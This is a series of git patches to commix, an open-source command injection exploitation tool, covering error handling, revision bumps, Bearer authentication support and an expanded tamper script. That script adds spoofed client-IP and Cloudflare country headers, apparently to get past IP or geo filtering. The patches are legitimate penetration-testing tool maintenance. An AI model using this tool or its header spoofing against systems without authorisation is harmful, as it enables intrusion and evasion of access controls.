b/src/core/injections/controller/checks.py index 1324865b15..eb3a69a7f2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -750,9 +750,9 @@ def no_readline_module(): err_msg += "not have GNU 'readline' module installed." err_msg += " Download the" if settings.IS_WINDOWS: - err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." + err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." elif settings.PLATFORM == "mac": - err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." + err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." print(settings.print_critical_msg(err_msg)) """ @@ -941,7 +941,7 @@ def third_party_dependencies(): try: import readline - except ImportError: + except (ImportError, AttributeError): if settings.IS_WINDOWS: try: import pyreadline diff --git a/src/utils/settings.py b/src/utils/settings.py index ea5371f16c..745f21ffe1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 95373e7d1adafff8807aa91ce5aee83bd5779beb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 13 Apr 2023 10:23:49 +0300 Subject: [PATCH 0290/1023] Fixes https://github.com/commixproject/commix/issues/822 --- src/core/injections/controller/checks.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eb3a69a7f2..457be0089c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -536,9 +536,12 @@ def check_connection(url): if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() - except socket.error as err: + except socket.error: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" + except UnicodeError: + err_msg = "Problem occurred while " + err_msg += "handling a host name '" + hostname + "'" if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 745f21ffe1..7463ec94f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7cf112dfe2195569ec19c94651ecdfb3aaf31c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Apr 2023 09:11:45 +0300 Subject: [PATCH 0291/1023] Minor update --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 457be0089c..5d3c61561c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -884,7 +884,7 @@ def check_http_s(url): print(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: - err_msg = "Invalid target URL has been given." + err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() return url diff --git a/src/utils/settings.py b/src/utils/settings.py index 7463ec94f1..275626c5f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 46d5ab7adbf4bfc77cbf755c43494fed94858e1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Apr 2023 11:02:55 +0300 Subject: [PATCH 0292/1023] Fixes https://github.com/commixproject/commix/issues/826 --- src/core/requests/authentication.py | 18 +++++------------- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 14 deletions(-) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2c8bd55d3f..038ad3efbc 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -45,7 +45,6 @@ def authentication_process(): #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) - # request = opener.open(_urllib.request.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " @@ -57,21 +56,14 @@ def authentication_process(): info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) - #headers.check_http_traffic(request) # Get the response of the request. - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ Define the HTTP authentication diff --git a/src/utils/settings.py b/src/utils/settings.py index 275626c5f5..19dae5c492 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ae94360c033dfde5016d4912bb8d7f9dd74a310e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 May 2023 12:01:50 +0300 Subject: [PATCH 0293/1023] Possible fix for https://github.com/commixproject/commix/issues/830 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a84262ea73..09f789e2ca 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 19dae5c492..e10f942da0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c464acb00634d3b86a7a6e55ffdf469507296692 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 May 2023 09:09:37 +0300 Subject: [PATCH 0294/1023] Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. --- doc/CHANGELOG.md | 1 + src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 28e42d294c..403f8665f2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. diff --git a/src/core/main.py b/src/core/main.py index 8b3d82a93c..d18fd115b9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -385,7 +385,10 @@ def main(filename, url): pass menu.options.tech = ''.join(menu.options.tech) else: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + if not menu.options.tech: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + else: + settings.USER_SUPPLIED_TECHNIQUE = True # Check for skipping injection techniques. if menu.options.skip_tech: diff --git a/src/utils/settings.py b/src/utils/settings.py index e10f942da0..0520b792e5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 51c1d46b4630008b1d913b4d5d0bcdd1f50b6830 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 16 May 2023 19:10:30 +0300 Subject: [PATCH 0295/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/c464acb00634d3b86a7a6e55ffdf469507296692 --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d18fd115b9..b873bf5545 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -395,7 +395,7 @@ def main(filename, url): # Convert injection technique(s) to lowercase menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - if menu.options.tech: + if settings.USER_SUPPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0520b792e5..c82df1a516 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 632f3faf68de5b4eed4d26f144228b9b5de9a366 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 May 2023 08:53:29 +0300 Subject: [PATCH 0296/1023] Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 5 +++++ src/core/requests/headers.py | 2 +- src/core/tamper/xforwardedfor.py | 15 ++++++++++++--- src/utils/settings.py | 2 +- 5 files changed, 21 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 403f8665f2..16f3e8d176 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. @@ -163,7 +164,7 @@ * Revised: Minor improvement regarding merging of tamper script arguments. * Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts. * Updated: Beautiful Soup (third party) module has been updated. -* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header 'X-Forwarded-For'. +* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. * Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5d3c61561c..40b40502ae 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1496,6 +1496,11 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): + + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + if extra_http_headers == "xforwardedfor": + from src.core.tamper import xforwardedfor + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) if encode_type == 'printf2echo': diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 09f789e2ca..1dddd75ed3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -292,7 +292,7 @@ def do_check(request): if not (menu.options.requestfile or menu.options.logfile): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Appends a fake HTTP header 'X-Forwarded-For' + # Appends a fake HTTP header 'X-Forwarded-For' (and alike) if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 202413574a..62953c089b 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -13,26 +13,35 @@ For more see the file 'readme/COPYING' for copying permission. """ +import random from random import sample from src.utils import settings from src.core.compat import xrange """ -About: Appends a fake HTTP header 'X-Forwarded-For'. +About: Append a fake HTTP header 'X-Forwarded-For' (and alike). """ __tamper__ = "xforwardedfor" -settings.TAMPER_SCRIPTS[__tamper__] = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(request): def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) - request.add_header('X-Forwarded-For', randomIP()) request.add_header('X-Client-Ip', randomIP()) request.add_header('X-Real-Ip', randomIP()) + request.add_header('CF-Connecting-IP', randomIP()) + request.add_header('True-Client-IP', randomIP()) + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + request.add_header('Via', '1.1 Chrome-Compression-Proxy') + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index c82df1a516..5c13b2bc9b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 504631ec3c849d26b2827aa8b4525984566b880c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 May 2023 14:11:59 +0300 Subject: [PATCH 0297/1023] Fixes https://github.com/commixproject/commix/issues/835 --- src/core/injections/controller/checks.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 40b40502ae..c3c12239a3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -357,9 +357,10 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) + if (len(parameter.split("="))) == 2: + info_msg = "Ignoring the parameter '" + parameter.split("=")[0] + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + print(settings.print_info_msg(info_msg)) return True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5c13b2bc9b..bbe79acec1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d46a150a995382720085e248da889cf15850994 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 20 May 2023 09:23:09 +0300 Subject: [PATCH 0298/1023] Minor update --- src/core/injections/controller/checks.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3c12239a3..2119eb13ab 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -368,8 +368,9 @@ def ignore_anticsrf_parameter(parameter): """ def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) + if (len(cookie.split("="))) == 2: + info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." + print(settings.print_info_msg(info_msg)) return True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index bbe79acec1..ec60624e29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5b49c0794fe7f684b2c8c0516bd6512d688f059c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 May 2023 08:39:34 +0300 Subject: [PATCH 0299/1023] Potential fix for https://github.com/commixproject/commix/issues/834 --- src/core/requests/headers.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1dddd75ed3..2b9794a7a1 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -137,7 +137,7 @@ def http_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) def https_open(self, req): @@ -145,7 +145,7 @@ def https_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/utils/settings.py b/src/utils/settings.py index ec60624e29..2d3def9c2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5189705a479e1a77a34ba2d6d9d25d0127d60f72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 May 2023 07:45:23 +0300 Subject: [PATCH 0300/1023] Fixes https://github.com/commixproject/commix/issues/836 --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index b873bf5545..1397095913 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -705,7 +705,7 @@ def main(filename, url): break message = "Enter POST data (--data) [Enter for none] > " if settings.STDIN_PARSING or menu.options.data: - print(settings.print_message(message + menu.options.data)) + print(settings.print_message(message + str(menu.options.data))) else: menu.options.data = common.read_input(message, default=None, check_batch=True) if menu.options.data is not None and len(menu.options.data) == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d3def9c2e..1ac93515d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fe7157f88741426b84d3b96bf6489c70235689d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 May 2023 08:41:28 +0300 Subject: [PATCH 0301/1023] Potential fix for https://github.com/commixproject/commix/issues/837 --- src/core/main.py | 7 +++++++ src/utils/settings.py | 5 ++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 1397095913..1dfe304b47 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -672,6 +672,13 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.auth_cred and menu.options.auth_type: + if not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + error_msg = "HTTP " + str(menu.options.auth_type) + error_msg += " authentication credentials value must be in format 'username:password'." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + if menu.options.requestfile and menu.options.url: err_msg = "The '-r' option is incompatible with option '-u' ('--url')." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1ac93515d2..980805a243 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -279,6 +279,9 @@ def sys_argv_errors(): # Proxy PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)" +# Auth Credentials format +AUTH_CRED_REGEX = r"^(.*?):(.*?)$" + # Inject Tag INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" From a336e04330c25738473ef329443feaa8eadd98df Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 May 2023 08:29:27 +0300 Subject: [PATCH 0302/1023] Added support for "Bearer" HTTP authentication type. --- doc/CHANGELOG.md | 1 + src/core/main.py | 25 +++++++++++++++---------- src/core/requests/headers.py | 15 ++++++++------- src/core/requests/requests.py | 1 - src/utils/menu.py | 2 +- src/utils/settings.py | 4 ++-- 6 files changed, 27 insertions(+), 21 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 16f3e8d176..47b6cfc3d5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. diff --git a/src/core/main.py b/src/core/main.py index 1dfe304b47..1b1c0a6900 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -192,10 +192,13 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) - # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - debug_msg += " HTTP authentication credentials." + if menu.options.auth_type.lower() in ("basic", "digest"): + _ = "credentials" + else: + _ = "token" + debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + " for, " + menu.options.auth_type + debug_msg += " HTTP authentication." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() @@ -463,13 +466,15 @@ def main(filename, url): # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used a valid pair of " + menu.options.auth_type - debug_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_debug_msg(debug_msg)) + if len(menu.options.auth_cred.split(":")) == 2: + username = menu.options.auth_cred.split(":")[0] + password = menu.options.auth_cred.split(":")[1] + else: + username = "" + password = menu.options.auth_cred session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ - password=menu.options.auth_cred.split(":")[1] + admin_panel=url, username=username, \ + password=password ) try: if menu.options.flush_session: @@ -673,7 +678,7 @@ def main(filename, url): raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: - if not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + if menu.options.auth_type.lower() in ("basic", "digest") and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2b9794a7a1..23f0bfe08c 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -298,14 +298,16 @@ def do_check(request): xforwardedfor.tamper(request) # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. + # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": + settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type.lower()) + if menu.options.auth_type.lower() == "bearer": + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == "basic": b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header(settings.AUTHORIZATION, "Basic " + b64_string + "") - elif menu.options.auth_type == "digest": + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + elif menu.options.auth_type.lower() == "digest": try: url = menu.options.url try: @@ -328,8 +330,7 @@ def do_check(request): except _urllib.error.HTTPError as e: pass except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." + err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3fef642a40..8f1d171b35 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -118,7 +118,6 @@ def estimate_response_time(url, timesec): auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] - settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() diff --git a/src/utils/menu.py b/src/utils/menu.py index 2c660850f4..ad72510ffe 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -277,7 +277,7 @@ def banner(): request.add_option("--auth-type", action="store", dest="auth_type", - help="HTTP authentication type (e.g. 'Basic' or 'Digest').") + help="HTTP authentication type (Basic, Digest, Bearer).") request.add_option("--auth-cred", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index 980805a243..9c9cc4a864 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -988,7 +988,7 @@ def sys_argv_errors(): METASPLOIT_PATH = "/usr/share/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest" ] +SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest", "bearer" ] # HTTP Headers 